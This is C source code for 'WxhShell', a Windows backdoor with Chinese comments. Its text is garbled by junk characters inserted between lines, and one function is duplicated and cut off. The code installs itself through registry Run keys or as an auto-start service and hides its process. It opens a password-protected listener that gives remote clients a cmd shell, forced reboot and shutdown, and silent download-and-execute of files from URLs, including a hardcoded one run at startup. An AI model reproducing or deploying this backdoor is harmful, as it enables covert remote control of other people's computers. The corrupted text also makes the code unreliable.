8L\ $HR(|{piZ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (0+ GLI8 if(NULL == hInst ) return 0; OA8b_k~ F~uA-g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %l]rQjV- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `)gkkZ$)j NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W0r5D9k n<"a+TTU if (!NtQueryInformationProcess) return 0; !A ydhe
5e~{7{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #/
gme if(!hProcess) return 0; )4o=t.O\K ,:Rq if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6lH>600]u @Tm0T7C CloseHandle(hProcess); EssUyF-jwU -$!Pf$l@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Af!
W
K= if(hProcess==NULL) return 0; 7+2aG *F4G qX3 HMODULE hMod; 6u]OXPA| char procName[255]; 80l3.z,: unsigned long cbNeeded; vCH v 1H2u,{O if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KI?1(L :8GxcqvCWq CloseHandle(hProcess); nbkky.e f^yLwRUD if(strstr(procName,"services")) return 1; // 以服务启动 kosJ]q'U Q/9vDv return 0; // 注册表启动 IB]VPj5 } &V,-W0T_ AQBx
k[ // 主模块 `X]2iz int StartWxhshell(LPSTR lpCmdLine) 1wH/ #K { HU.6L'H* SOCKET wsl; Ul~}@^m]4} BOOL val=TRUE; Ivgwm6M int port=0; }?ac<> u& struct sockaddr_in door; =*)O80oaW P A+e= % if(wscfg.ws_autoins) Install(); HDXjH|of gV.Pg[[1 port=atoi(lpCmdLine); %w|3: ]V]@Zna@g if(port<=0) port=wscfg.ws_port; ~6kA<(x pQm!Bt L WSADATA data; #L*@~M^] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %cjGeS6} KL_}:O68 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /n 3&e setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B[m{2XzGH door.sin_family = AF_INET; gSo(PW) door.sin_addr.s_addr = inet_addr("127.0.0.1"); I`}vdX) door.sin_port = htons(port); EA{*%9 A h,jAtL! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q-)_Qco closesocket(wsl); (R
2P<
Zr return 1; R"kE5: } Chi<)P$^ 1Qe! if(listen(wsl,2) == INVALID_SOCKET) { u2x=YUWb] closesocket(wsl); !{ )AV/\D return 1; n[w,x; } ZCF-*nm Wxhshell(wsl); W2LblZE! WSACleanup(); kx#L< OU3+SYM return 0;
7~9f rW<K U&\{/l } qA\kx#v]P
q>oH(A // 以NT服务方式启动 />I8nS}T VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0*M}QXt { Y,Zv0-" DWORD status = 0; _CwQ}n* DWORD specificError = 0xfffffff; %+W
>+xRb /F9lW}pd serviceStatus.dwServiceType = SERVICE_WIN32; 7wEG<,D serviceStatus.dwCurrentState = SERVICE_START_PENDING; D\&y(=fzf serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N'BctKL serviceStatus.dwWin32ExitCode = 0; T-8nUo}i serviceStatus.dwServiceSpecificExitCode = 0; Y/I6.K3 serviceStatus.dwCheckPoint = 0; aZCT|M1 serviceStatus.dwWaitHint = 0; `Q^Sm`R KIl.?_61O hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m-FDCiN> if (hServiceStatusHandle==0) return; &B,& *Lp .E8p-R5)V> status = GetLastError(); EuA<{%i if (status!=NO_ERROR) 7?WBzo!!L { w=>mG- serviceStatus.dwCurrentState = SERVICE_STOPPED; +rO<'H:umJ serviceStatus.dwCheckPoint = 0; b1^Yxe#L serviceStatus.dwWaitHint = 0; /<pQ!'/G serviceStatus.dwWin32ExitCode = status; M@@O50~ serviceStatus.dwServiceSpecificExitCode = specificError; M{RZ-)IC SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?
Z
fhz return; q;~>h } fhWD>;%F% u`2k6.- serviceStatus.dwCurrentState = SERVICE_RUNNING; s3!LR2qiF serviceStatus.dwCheckPoint = 0; ;<R_j%* serviceStatus.dwWaitHint = 0; ~"0X,APR5 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _%%"Y} } (>`SS#(T!
x`l;
; // 处理NT服务事件,比如:启动、停止 w:+#,,rwzV VOID WINAPI NTServiceHandler(DWORD fdwControl) Bzt`9lg { E}j8p_p switch(fdwControl) zFQkUgb { Y rnqi-P case SERVICE_CONTROL_STOP: |^{" 2l"j serviceStatus.dwWin32ExitCode = 0; u(`A?H: serviceStatus.dwCurrentState = SERVICE_STOPPED; O!Cu.9} serviceStatus.dwCheckPoint = 0; RteTz_z{ serviceStatus.dwWaitHint = 0; |CqJ2 { eH*b-H[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); -)+DVG.t } l<%~w
U return; <s3( case SERVICE_CONTROL_PAUSE: n{WJ.Y* serviceStatus.dwCurrentState = SERVICE_PAUSED; 9?,.zc^ break; z5'nS&x case SERVICE_CONTROL_CONTINUE: {# _C serviceStatus.dwCurrentState = SERVICE_RUNNING; f+~!s 2uw break; eakIK+-21y case SERVICE_CONTROL_INTERROGATE: 4x=Y9w0?8 break; DCUq.q) }; bj{f[nZ d SetServiceStatus(hServiceStatusHandle, &serviceStatus); _\;#a } ?tQv|x rL"k-5>fd // 标准应用程序主函数 Xe+FMbBco int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @23x;x { =6YO!B>7 3mz>Y*^?0 // 获取操作系统版本 Yk&{VXU< OsIsNt=GetOsVer(); l);8y5 GetModuleFileName(NULL,ExeFile,MAX_PATH); Y\\nJuJo 2=+ ,jX{ // 从命令行安装 +N_%|!F-c if(strpbrk(lpCmdLine,"iI")) Install(); 'A2"&6m)28 _8`;Xgp // 下载执行文件 VbR.tz if(wscfg.ws_downexe) { 0+i,,^x. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 83*k.]S` WinExec(wscfg.ws_filenam,SW_HIDE); ^uzVz1%mM } 1`\kXaG C;>Ll~f_ if(!OsIsNt) { <Rt@z|Zv // 如果时win9x,隐藏进程并且设置为注册表启动 B(dL`]@Xm HideProc(); nJg2O@mRJ StartWxhshell(lpCmdLine); rM |RGe } ^u,x~nPXg else '|T= if(StartFromService()) OG`Oi^2 // 以服务方式启动 0VPa;{i/ StartServiceCtrlDispatcher(DispatchTable); z(eAwmuli else e84TLU?~ // 普通方式启动 DL_\luh StartWxhshell(lpCmdLine); Ts6X:D4, V1;-5L75 return 0; 2jC\yY |PN } WE]^w3n9 oFp&j@`k8j sAlgp2- ztpb/9J9 =========================================== k]g\`
gc {jG`l$$ i[#Tn52D UkV] F] `<d>C}9 w[-Bsf
" ;Vt
u8f q(W@=-uDK #include <stdio.h> k>`X!
" #include <string.h> &pz8vWCk #include <windows.h> yqwr0yDAl #include <winsock2.h> v g]&T #include <winsvc.h> p6)UR~9Rs #include <urlmon.h> p<e~x/@m* A[bxxQSP\H #pragma comment (lib, "Ws2_32.lib") %-CC_R|0$ #pragma comment (lib, "urlmon.lib") dz 2d`=`3 FoQk #define MAX_USER 100 // 最大客户端连接数 l!,{bOZ #define BUF_SOCK 200 // sock buffer Ls{fCi/2F #define KEY_BUFF 255 // 输入 buffer y"ck;OQD p3' +"sFU #define REBOOT 0 // 重启 &EOh}O< #define SHUTDOWN 1 // 关机 Ui&$/%Z| X;NTz75 #define DEF_PORT 5000 // 监听端口 %Z4=3?5B"9 V^i3:' #define REG_LEN 16 // 注册表键长度 T\>=o] #define SVC_LEN 80 // NT服务名长度 ,}0pK\Y>$ !TFVBK // 从dll定义API L')zuI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <9~qAq7^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aJ5R0Y, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %ZK}y{u\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =qRVKz P'8E8_M} // wxhshell配置信息 Apn#o2 struct WSCFG { k|5nu-B0v int ws_port; // 监听端口 Y<v55m- char ws_passstr[REG_LEN]; // 口令 -,&Xp>u\ int ws_autoins; // 安装标记, 1=yes 0=no i_"I"5pBF char ws_regname[REG_LEN]; // 注册表键名 xjN~Y D: char ws_svcname[REG_LEN]; // 服务名 Tx(R3B+u7 char ws_svcdisp[SVC_LEN]; // 服务显示名 wah` char ws_svcdesc[SVC_LEN]; // 服务描述信息 "6i9 f$N char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4SYN$?.Mp int ws_downexe; // 下载执行标记, 1=yes 0=no b}:Z(L,\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (L1`]cp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W#!\.m`5 \2jY)UrQs }; kXWx )v )[1m$> // default Wxhshell configuration /L.a:Er$ struct WSCFG wscfg={DEF_PORT, F@BNSs N= "xuhuanlingzhe", -)@.D>HsOt 1, p98lu'?@ "Wxhshell", & \m\QI "Wxhshell", UL/>t}AG "WxhShell Service", P7b2I=t "Wrsky Windows CmdShell Service", ,o)MiR9-[A "Please Input Your Password: ",
CvN~ 1, dQ[lXV[}v "http://www.wrsky.com/wxhshell.exe", O 2U/zF:X "Wxhshell.exe" mI# BQE`p6 }; EB#z\ yl}Hr* // 消息定义模块 7@F B^[H:y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ogb_WO;) char *msg_ws_prompt="\n\r? for help\n\r#>"; 9O"?T7i"# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J{y@ O char *msg_ws_ext="\n\rExit."; T*IudxW char *msg_ws_end="\n\rQuit."; i,'~Ds char *msg_ws_boot="\n\rReboot..."; yrjm0BM# char *msg_ws_poff="\n\rShutdown..."; IQDWH/c char *msg_ws_down="\n\rSave to "; |Xag:hof UTPl7po5D char *msg_ws_err="\n\rErr!"; i]nE86.;
char *msg_ws_ok="\n\rOK!"; ^?2txLv,6 [3.rG!Na char ExeFile[MAX_PATH]; HIF]c int nUser = 0; Aq"_hjp HANDLE handles[MAX_USER]; Ssj'1[% int OsIsNt; HZT;7< $spf=t"nh SERVICE_STATUS serviceStatus; uMI2Wnnc:/ SERVICE_STATUS_HANDLE hServiceStatusHandle; j!s&yHE1 F,sT[C // 函数声明 _W;u Qg'] int Install(void); aqB^ %e int Uninstall(void); 6]Jv3Re'(I int DownloadFile(char *sURL, SOCKET wsh); "#7i-?= int Boot(int flag); ;Y"J j void HideProc(void); Ol? 2Qy.2) int GetOsVer(void); +FiV!nRkZ int Wxhshell(SOCKET wsl); n'ro5D void TalkWithClient(void *cs); DB0xIP~i,? int CmdShell(SOCKET sock); Z|W=.RdA; int StartFromService(void); z,9qAts?mh int StartWxhshell(LPSTR lpCmdLine); &[YG\8sxWa 3
*G=U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B;m18LDu VOID WINAPI NTServiceHandler( DWORD fdwControl ); a5'QL(IX #xc[)Y,W // 数据结构和表定义 yhIg)/?L SERVICE_TABLE_ENTRY DispatchTable[] = v%1# y5 { MiC&av {wscfg.ws_svcname, NTServiceMain}, L4NC- {NULL, NULL} a-3~HH }; g5E]o) U|zW_dj // 自我安装 E|>I/!{u7` int Install(void) ?d%_o@ { 2d._X$fx7 char svExeFile[MAX_PATH]; [ACYd/ HKEY key; G2A pm`/ y strcpy(svExeFile,ExeFile); te|VKYN%}[ e9
NHbq // 如果是win9x系统,修改注册表设为自启动 Cpj_mMtu if(!OsIsNt) { vmoqsdZ/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "%Jx,L\f{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %S^`/Snv" RegCloseKey(key); z+4R[+[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $*PyzLS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =y':VIVJC RegCloseKey(key); 68y.yX[ return 0; =3"Nn4Z } {?C7BClB } {e~d^^N5 } Xm*Dh#H else { 1kpI?Plki /'I/sWEV // 如果是NT以上系统,安装为系统服务 <W?,n% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZGf=/Ra
a if (schSCManager!=0) Bq!P.%6p4 { S2*:]pYf} SC_HANDLE schService = CreateService jk|0 <-3 ( 4uz\Me( schSCManager, {5to;\. wscfg.ws_svcname, -B_dE-l, wscfg.ws_svcdisp, 4 QDW}5xB SERVICE_ALL_ACCESS, f5G17: Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &L/C:<. SERVICE_AUTO_START, xpV8_Gz; SERVICE_ERROR_NORMAL, os2yiF", svExeFile, &v:iC
u^| NULL, lu >>~vy6 NULL, :g,r l\S7 NULL, D^A_ 0@ NULL, v7ae^iU NULL #&@&BlIe ); 5'o.v^l if (schService!=0) OxD\e5r { !PO(Bfd CloseServiceHandle(schService); S"Efp/- CloseServiceHandle(schSCManager); aqMZ%~7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {ng strcat(svExeFile,wscfg.ws_svcname); Jjy}m0)#W_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^=t yf&" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6s Pd")%G RegCloseKey(key); S4|)N,# return 0; -F*j` } 5B51^" } >V]>h&` CloseServiceHandle(schSCManager); nZ{~@E2 } MM97$ } v!x=fjr< o$Jk27 return 1; /O8'8 sL5 } ue`F| 0]" j, // 自我卸载 ,@P3!| int Uninstall(void) ]03!KE { >_5D`^ HKEY key; F~{4)` &;y(@e}D if(!OsIsNt) { 4gYP .h:, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I\[*vgjm3G RegDeleteValue(key,wscfg.ws_regname); vbSz&+52; RegCloseKey(key); \ ,?yj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o77HRX RegDeleteValue(key,wscfg.ws_regname); '-
Z4GcL RegCloseKey(key); |5O%@ return 0; wi9fYfuv3R } ;B7>/q;g } Y(&phv& } p>MX}^6 else { ncWASw` [%b<%m}L- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 87*R#(( if (schSCManager!=0) s&c^Wr { Jcy`:C\Ay SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {2V=BDS|?K if (schService!=0) C5eol & { #Q;#A |EZ if(DeleteService(schService)!=0) { %2>FSE CloseServiceHandle(schService); C~l5D4D# CloseServiceHandle(schSCManager); Sm-nb*ZyC return 0; s_RYYaM } 6z/8nf +u CloseServiceHandle(schService); (+4=A k } )of_"gZ$3A CloseServiceHandle(schSCManager); SBYRN##n_ } /R^!~J50 } s$RymM 6jKM,%l return 1; 3Hq0\Y"Y } n:7=z0
s 3lKIEPf6r // 从指定url下载文件 ~)()PO int DownloadFile(char *sURL, SOCKET wsh) &jj\-;=~Ho { S;CT:kG6Y{ HRESULT hr; ,,@_r&f: char seps[]= "/"; +|o-lb char *token; ysL8w"t char *file; hzPpw. char myURL[MAX_PATH]; hR. EZ|. char myFILE[MAX_PATH]; PUa~Apj' BL]^+KnP strcpy(myURL,sURL); S?D2`b token=strtok(myURL,seps); ^%\p; yhL while(token!=NULL) RI%*5lM8; { P~?u2,.E[ file=token; #ReW#?P%b/ token=strtok(NULL,seps); =r
GkM.^ } (L~3nN;rr NeNKOW#X GetCurrentDirectory(MAX_PATH,myFILE); X_=oJi|: strcat(myFILE, "\\"); +[z(N strcat(myFILE, file); .&*Tj}p send(wsh,myFILE,strlen(myFILE),0); ^up*KQ3u\ send(wsh,"...",3,0); ==IL63 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !vG._7lPp if(hr==S_OK) mTcLocx return 0; lMP|$C else mv+.5X return 1; SLBKXj| !lHsJ)t } o2%"Luf< W}(dhgf // 系统电源模块 `UeF3~)>E int Boot(int flag) O" T1=4 { 6C)OO"Bc HANDLE hToken; 76c}Rk^ TOKEN_PRIVILEGES tkp; K5k,47" ukri7 n* if(OsIsNt) { @89mj{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]QpR>b=[j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :?lSa6de tkp.PrivilegeCount = 1; Wlt shZo tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9#_49euy|P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e_,_:|t if(flag==REBOOT) { {qj>
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aHb,4 wY return 0; 6g$+ ))g } ,m0=zH4+: else { {!x-kF_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lJq
%me;4m return 0; i++ F&r[ } <Qwi 0$ } bv|v9_i else { CVu'uyy if(flag==REBOOT) { @ '<lD*W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =. OWsFv return 0; *r(iegO$ } Oi7:J>
[ else { M8
++JI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F2+lwyc Y return 0; NH|v`rO } ysvn*9h+& } >2N`l .llAiv return 1; rJZ-/]Xf!6 } [D/q% 3`-[95w // win9x进程隐藏模块 t$s)S> void HideProc(void) oq;}q { tXfB.[U {K:/(\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |" l
g4S% if ( hKernel != NULL ) hXYVi6(k { <;W4Th<4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (A"oMnjWd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vW~_+:),e FreeLibrary(hKernel); mb?yG:L=0b } HaLEQ73 A7ck-9dT/L return; 60QElJ9D } % #|S idz6m]{~yT // 获取操作系统版本 BXm{x6\ int GetOsVer(void) Be?mIwc_g { ,P5HR+h OSVERSIONINFO winfo; -@AGQ+e winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6`%}s3Xq GetVersionEx(&winfo); +}z
T][9w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~l.]3wyk return 1; 9/^4W. else Ip?Ueaei return 0; <o
p !dS } o1YhYA E-n!3RQ(w // 客户端句柄模块 l1!i3m'x int Wxhshell(SOCKET wsl) 7dxY07yu { Z;lE-`Z*(F SOCKET wsh; O+(Z`,^ struct sockaddr_in client; {"s9A& DWORD myID; Y$Fbi2A4 ]}C#"Xt while(nUser<MAX_USER) d0|Q1R+3 { 4}96|2L5 int nSize=sizeof(client); x+%lNR wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,ad~6.Z_) if(wsh==INVALID_SOCKET) return 1; 0wxQ,PI1' "<bL-k*H) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gTiDV{Ip if(handles[nUser]==0) Ho*S>Y closesocket(wsh); EYMwg_ else Jtc?p{ nUser++; vFy/ } R"K{@8b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W~R_-
]k@g 2<YHo{0BLS return 0; lD\lFN(: } #& Rx( m_U__CZ}Tt // 关闭 socket g'hBs
D1' void CloseIt(SOCKET wsh) Hk$|.TjzI { RrGS$< closesocket(wsh); _MnMT9 nUser--; kU4Zij-O ExitThread(0); Cl i k } '[:].?M {. eC" // 客户端请求句柄 nhQ.U>&-M void TalkWithClient(void *cs) 9?l(
}S` { (#7pGGp*E w QwY_ _ SOCKET wsh=(SOCKET)cs; N4'b]:`n char pwd[SVC_LEN]; vy6NH5Q char cmd[KEY_BUFF]; hF!yp7l; char chr[1]; p8o%H-Xk int i,j; }?8KFe7U R3%T}^;f while (nUser < MAX_USER) { ,O $F`0>9A {h|3P/?7 if(wscfg.ws_passstr) { 5+giT5K*h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A#LK2II^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $Pl>T09d //ZeroMemory(pwd,KEY_BUFF); 2>?GD@GE i=0; Vs\)w>JF while(i<SVC_LEN) { AaKILIIQZ 1rTA0+h // 设置超时 />)>~_-3 fd_set FdRead; LBw,tP struct timeval TimeOut; v]Pw]m5=U FD_ZERO(&FdRead); }evc]?1( FD_SET(wsh,&FdRead); In:h %4> TimeOut.tv_sec=8; Ow+7o@$"/ TimeOut.tv_usec=0; ]X@/0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wf<uG|90 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {I`B?6K5 [,xFk* # if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {n
# pwd=chr[0]; $F;$-2 if(chr[0]==0xd || chr[0]==0xa) { dID]{ pwd=0; sRt|G break; P4Wd=Xoz6 } (47jop0RDQ i++; jAN(r>zVL } Ff%m.A8d,4 l.fNkLC# // 如果是非法用户,关闭 socket l<GRM1^kU if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l&U3jeW-o } |0A n|18 Pr@EpO send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B_c(3n-" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W >;AMun 2|w(d while(1) { OlMCF.W#3 Qt]nlu i~ ZeroMemory(cmd,KEY_BUFF); 1QjrL@$>15 *E+)mB"~ // 自动支持客户端 telnet标准 CDoZv"" j=0; Y13IrCA2 while(j<KEY_BUFF) { }#w>>{Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^EZ)NG=e5 cmd[j]=chr[0]; ;bkS0Vmg if(chr[0]==0xa || chr[0]==0xd) { E(8O3*= cmd[j]=0; =]U[ break; V4/eGh_T } ,Sghi&Ky j++; %Xkynso~ } |'Ve75 W6u FSc730rM // 下载文件 P^VV8Z>\& if(strstr(cmd,"http://")) { HgduH::\# send(wsh,msg_ws_down,strlen(msg_ws_down),0); *l_1T4]S if(DownloadFile(cmd,wsh)) 2Np9*[C send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0z.` else x/bO;9E%U4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q35%t61Lc } |~#!e}L( else { ''v_8sv o6Vc}jRH switch(cmd[0]) { )<-kS 'Kp|\Tr // 帮助 @2kt6
W case '?': { :m@(S6T m send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $o{f)'.>n break; (O/hu3 } Kgk9p`C( // 安装 z$%ntN#eNA case 'i': { AkT_ZU> if(Install()) [rE,fR send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9~Q.[ A else c>=[|F{{e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wjKW 3 break; gLd3,$Ei } k
NK)mE // 卸载
1u)I}"{W> case 'r': { ,B!u* if(Uninstall()) }w"laZ* send(wsh,msg_ws_err,strlen(msg_ws_err),0); IBnJ6(. else {jggiMwo.v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?}B_'NZ% break; ]5uCs[ } jDy // 显示 wxhshell 所在路径 w9i1ag case 'p': { GJ{]}fl char svExeFile[MAX_PATH]; 3 T&m strcpy(svExeFile,"\n\r"); 1w1(FpQO. strcat(svExeFile,ExeFile); YI&^j2 send(wsh,svExeFile,strlen(svExeFile),0); 2Hy $SSH break; Y7!,s-v4W } %UgyGQeo // 重启 80axsU^H0 case 'b': { spd>.Cm` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >|uZIcs 6 if(Boot(REBOOT)) /v=MGX@r send(wsh,msg_ws_err,strlen(msg_ws_err),0); IuB0C!' else { +r4^oT[- closesocket(wsh); /':kJOk<[ ExitThread(0); Yl>@(tu)| } ~H)b vN^ break; 5
EDGl } [ V/*{Z // 关机 T4J(8!7 case 'd': { [fO \1J send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V
mKMj' if(Boot(SHUTDOWN)) Dgp"RUP send(wsh,msg_ws_err,strlen(msg_ws_err),0); m_ '
1yX@ else { ndW??wiM closesocket(wsh); N\<M4fn ExitThread(0); V\X.AGc } vMj"% break; !W .ooy5( } Pou`PNvH // 获取shell ` *h-j/M case 's': { iI&J_Y{1a_ CmdShell(wsh); E3;[*ve closesocket(wsh); hSo\ ExitThread(0); rFdq \BSi break; MXSPD#gN } G\|VTqu // 退出 e ST8>r case 'x': { Ej8EQ%P send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OUS@)Tyh CloseIt(wsh); W?5^cEF break; Jc(tV(z } `=vL?w^QS // 离开 pRc@0^G case 'q': { YRAWylm send(wsh,msg_ws_end,strlen(msg_ws_end),0); shjS^CP closesocket(wsh); b P4R WSACleanup(); (9{)4[3MAG exit(1); )&;?|X+p break; : H0+} = } RU>T?2 } m9a(f >C } al(t-3`< ?8)_, // 提示信息 gj0gs if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NoV)}fX$X8 } O*`] ]w] } \%K< S 8^CL:8lI^\ return; GxuFO5wz } @M?;~M?B]J =3_I;Lw // shell模块句柄 &CV%+ int CmdShell(SOCKET sock) >Ke4lO" { ^%VMp>s STARTUPINFO si; nNSq6 Cj ZeroMemory(&si,sizeof(si)); t"cGv32b si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C1:efa<wV si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U^-:qT;CX PROCESS_INFORMATION ProcessInfo; MRMswNQ char cmdline[]="cmd"; C{`+h163\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [nZ3}o return 0; A36 dj } d OQU#5 =6y4* f // 自身启动模式 .J6Oiv.E int StartFromService(void) %AwR 4"M { 82nQ] typedef struct u]lf~EE { _DnZ=&=MA DWORD ExitStatus; q"7rd?r52 DWORD PebBaseAddress; {*RyT.J DWORD AffinityMask; =;#+8w=^ DWORD BasePriority; ]?whx&+ ULONG UniqueProcessId; V^Z"FwWk ULONG InheritedFromUniqueProcessId; J!b
v17H" } PROCESS_BASIC_INFORMATION; 4D=p#KZ vq-Tq> PROCNTQSIP NtQueryInformationProcess; 56T<s+X> L #c*) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +F=j1*'& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "xe % IS 3WZdP[o! HANDLE hProcess; gVO<W.? PROCESS_BASIC_INFORMATION pbi; #usi1UWB#Q `a2%U/U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G;#-CT if(NULL == hInst ) return 0; ^Tgu]t 8@pY:AY g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \0?^%CD+@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7VQ|3`!< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BV_rk^}Ur }q7rR:g if (!NtQueryInformationProcess) return 0; xXkP(^ Y 53=5xE= `D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QT)D|]bH if(!hProcess) return 0; EX zA(igS nW#UBtZ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 30cZz o,}`4_N|| CloseHandle(hProcess); Awy-kou[C n3Uw6gLD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LE$_qX`L if(hProcess==NULL) return 0; 0*G
